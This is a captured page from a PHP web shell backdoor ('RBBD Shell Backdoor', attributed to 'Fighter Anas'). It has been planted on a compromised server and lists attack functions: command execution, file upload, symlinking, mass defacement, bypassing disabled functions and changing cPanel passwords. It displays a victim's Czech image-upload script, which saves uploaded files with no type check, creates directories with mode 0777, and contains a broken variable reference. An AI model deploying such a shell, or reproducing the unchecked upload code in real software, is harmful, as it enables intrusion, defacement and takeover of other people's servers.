⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
php
/
obrazky
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/php/obrazky/rezize_test.php
<?php $nazev_uploadu = "resize_test"; $cislo = "1"; require_once('Nette/loader.php'); use Nette\Utils\Image; //$soubor = 'Blue_Rocket_2016.jpg'; if(isset($_POST["submit"])) { // uložení proměnných z formuláře @$soubor = ($_FILES["img"]["tmp_name"]); @$soubor_name1 = ($_FILES["img"]["name"]); @$soubor_size = ($_FILES["img"]["size"]/1024)/1024; //zjistění přípony $pripona = pathinfo($soubor_name1, PATHINFO_EXTENSION); //Odstranění teček v datumu $search = ".$pripona"; $replace = ""; $subject = $soubor_name1; $subject1 = str_replace ($search, $replace, $subject); $search = array(" ", "."); $replace = "_"; $subject2 = $subject1; $subject3 = str_replace ($search, $replace, $subject2); $soubor_name = $subject3.'.'.$pripona; /* zjištění existence souboru */ //$filename = '../img/picture/'.$tabulka.'/'.$soubor_name; $filename = './upload/'.$soubor_name; if (file_exists($filename)) { $fp = fopen('odkaz.txt', "r"); $odkaz = file_get_contents('odkaz.txt'); fclose($fp); echo "<br />"; echo "<font size='3'>Tento obrázek: <font color='red'><b>$soubor_name</b></font> se již na serveru nachází,<br /> přejmenujte obrázek a pokračujte: <a href='$nazev_uploadu?odkaz=$odkaz&cislo=$cislo'><button>zde</button></a></font>\n"; break; } else { // Je soubor menší než je maximální možná velikost? if($soubor_size > 3)//maximalni velikost souboru je 3MB { echo "Soubor je větší než maxilmální možná velikost<br /> zmenšete velikost obrázku a pokračujte: <a href='$nazev_uploadu?odkaz=$odkaz&cislo=$cislo'><button>zde<button></a></font>\n"; break; } //pokud je menší :: už se soubor náhrál na server?? else if(is_uploaded_file($soubor)) { // samotný skript //$ces = "../img/picture/$tabulka"; $ces = "./upload"; $cesta = $ces."/"; //zde je cesta ke složce, do které budeme ukládat soubory if(!file_exists($ces)) mkdir($ces, 0777 ); // Pokud už existuje složka se stejným názvem, tedy příponou uploadovaného soubrou, nic nevytvářej, jinak vytvoř adresář, kam uložime později uploadovaný soubor if(!file_exists($cesta)) mkdir($cesta, 0777 ); //přesune soubor na požadované místo, pokud ne, vyhodí chybu if (move_uploaded_file ($soubor, $cesta."/".$soubor_name)) { echo "<br />"; echo "Obrázek <b>$soubor_name</b> o velikosti "; printf('%1.2f',$soubor_size); echo "MB byl úspěšně nahrán na server <br />"; } else{ echo "<br />"; echo "Při nahrávání souboru došlo k chybě! <br />"; } //jmeno obrazku bez pripony $rozdel=explode (".", $soubor_name); $pripona="$rozdel[1]"; $jmeno_bez_pripony="$rozdel[0]"; $delka=strlen($soubor); $delka_pripony=strlen($pripona); $delka_jmeno=strlen($jmeno_bez_pripony); //resize obrazku //$folder_name = '../img/picture/'.$tabulka.'/'; $small = $jmeno_bez_pripony.'_small.'.$pripona; $image = Image::fromFile($soubor_name); $image->resize(600, NULL); // šířka 50px, výška se dopočítá $image->sharpen(); // Po zmenšení obrázku je možné vylepšit jeho vzhled jemným doostřením: $image->save('./upload/'.$mall); // Obrázek lze uložit do souboru: echo 'Nové rozměry obrázku <b>'.$small; echo" </b>jsou: $image->width × $image->height"; //$img->save_jpg('../img/picture/'.$tabulka.'/'.$jmeno_bez_pripony.'_small.'.$pripona, 95); } } } if(!isset($_POST["submit"]) ) { echo '<form action="" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="img" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form>'; } ?>
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas